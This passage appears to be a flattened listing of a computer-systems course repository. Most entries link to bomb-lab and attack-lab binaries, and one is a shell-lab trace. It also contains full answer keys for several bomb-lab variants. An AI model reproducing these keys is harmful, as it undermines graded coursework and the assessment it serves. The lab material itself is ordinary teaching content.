/lab3/bomb-handout/27/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/27/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/28/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/28/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/29/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/29/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/3/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/3/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/30/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/30/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/31/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/31/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/32/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/32/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/33/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/33/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/34/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/34/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/35/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/35/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/36/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/36/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/37/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/37/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/38/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/38/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/39/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/39/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/4/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/4/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/40/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/40/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/41/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/41/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/42/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/42/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/43/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/43/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/44/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/44/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/45/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/45/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/46/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/46/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/47/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/47/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/48/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/48/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/49/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/49/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/5/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/5/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/50/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/50/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/51/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/51/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/52/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/52/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/53/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/53/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/54/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/54/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/55/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/55/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/56/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/56/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/57/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/57/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/58/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/58/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/59/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/59/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/6/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/6/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/60/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/60/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/61/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/61/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/62/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/62/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/63/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/63/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/64/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/64/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/65/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/65/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/66/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/66/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/67/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/67/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/68/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/68/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/69/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/69/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/7/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/7/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/70/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/70/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/8/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/8/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/9/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/9/bomb -------------------------------------------------------------------------------- /lab6/shlab-handout/trace03.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace03.txt - Run a foreground job. 3 | # 4 | /bin/echo tsh> quit 5 | quit 6 | -------------------------------------------------------------------------------- /lab6/shlab-handout/tshref: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab6/shlab-handout/tshref -------------------------------------------------------------------------------- /lab1/datalab-handout-2.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab1/datalab-handout-2.tar -------------------------------------------------------------------------------- /lab3/bomb-handout/42/answer.txt: -------------------------------------------------------------------------------- 1 | Wow! Brazil is big. 2 | 1 2 4 7 11 16 3 | 0 b 931 4 | 1 0 5 | 5 115 6 | 6 2 1 3 5 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/43/answer.txt: -------------------------------------------------------------------------------- 1 | Wow! Brazil is big. 2 | 0 1 3 6 10 15 3 | 1 -413 4 | 36 3 5 | JDOEFG 6 | 6 2 3 1 5 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/17/answer.txt: -------------------------------------------------------------------------------- 1 | Public speaking is very easy. 2 | 1 2 4 7 11 16 3 | 0 p962 1 4 | 4 19 5 | GAMFEG 6 | 6 2 1 4 3 5 -------------------------------------------------------------------------------- /lab3/bomb-handout/26/answer.txt: -------------------------------------------------------------------------------- 1 | Crikey! I have lost my mojo! 2 | 0 1 1 2 3 5 3 | 3 673 4 | 0 11 5 | 535353 6 | 1 5 3 2 6 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/49/answer.txt: -------------------------------------------------------------------------------- 1 | Crikey! I have lost my mojo! 2 | 0 1 1 2 3 5 3 | 0 o 151 4 | 99 3 5 | eejjai 6 | 3 2 1 5 6 4 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/1/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/1/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/1/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/1/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/1/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/1/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/10/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/10/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/10/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/10/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/10/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/10/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/11/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/11/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/11/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/11/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/11/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/11/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/12/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/12/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/12/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/12/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/12/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/12/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/13/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/13/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/13/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/13/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/13/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/13/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/14/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/14/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/14/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/14/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/14/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/14/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/15/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/15/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/15/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/15/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/15/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/15/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/16/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/16/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/16/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/16/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/16/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/16/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/17/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/17/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/17/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/17/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/17/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/17/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/18/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/18/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/18/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/18/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/18/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/18/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/19/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/19/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/19/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/19/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/19/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/19/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/2/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/2/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/2/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/2/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/2/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/2/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/20/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/20/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/20/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/20/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/20/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/20/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/21/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/21/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/21/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/21/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/21/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/21/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/22/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/22/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/22/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/22/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/22/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/22/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/23/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/23/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/23/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/23/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/23/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/23/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/24/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/24/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/24/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/24/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/24/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/24/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/25/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/25/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/25/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/25/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/25/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/25/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/26/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/26/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/26/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/26/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/26/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/26/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/27/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/27/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/27/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/27/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/27/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/27/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/28/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/28/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/28/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/28/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/28/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/28/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/29/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/29/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/29/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/29/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/29/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/29/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/3/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/3/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/3/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/3/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/3/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/3/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/30/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/30/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/30/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/30/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/30/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/30/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/31/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/31/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/31/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/31/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/31/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/31/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/32/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/32/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/32/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/32/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/32/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/32/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/33/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/33/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/33/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/33/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/33/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/33/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/34/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/34/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/34/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/34/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/34/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/34/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/35/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/35/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/35/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/35/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/35/rtarget: 